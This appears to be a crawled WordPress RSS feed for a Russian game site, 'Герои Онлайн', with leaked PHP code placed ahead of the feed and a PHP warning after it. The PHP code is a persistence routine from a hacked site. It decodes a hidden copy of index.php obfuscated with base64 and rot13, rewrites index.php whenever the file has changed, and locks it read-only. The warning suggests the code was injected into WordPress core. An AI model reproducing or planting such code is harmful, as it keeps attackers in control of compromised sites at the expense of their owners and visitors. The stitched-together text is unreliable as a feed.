$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "{index_hide}";

if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
    @chmod($i_p, 0644);
    @file_put_contents($i_p, $index_hide);
    @chmod($i_p, 0444);
}
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Герои Онлайн &#187; Прокачка</title>
	<atom:link href="/category/prokachka/feed" rel="self" type="application/rss+xml" />
	<link>http://heroesonline2.ru</link>
	<description>Ещё один сайт на WordPress</description>
	<lastBuildDate>Thu, 18 Apr 2019 12:08:27 +0000</lastBuildDate>
	<language>ru-RU</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.0.33</generator>
</channel>
</rss>
<br />
<b>Warning</b>:  file_get_contents(index.php): failed to open stream: Нет такого файла или каталога in <b>/home/users/s/skchatwarthunder/domains/heroesonline2.ru/wp-includes/plugin.php</b> on line <b>464</b><br />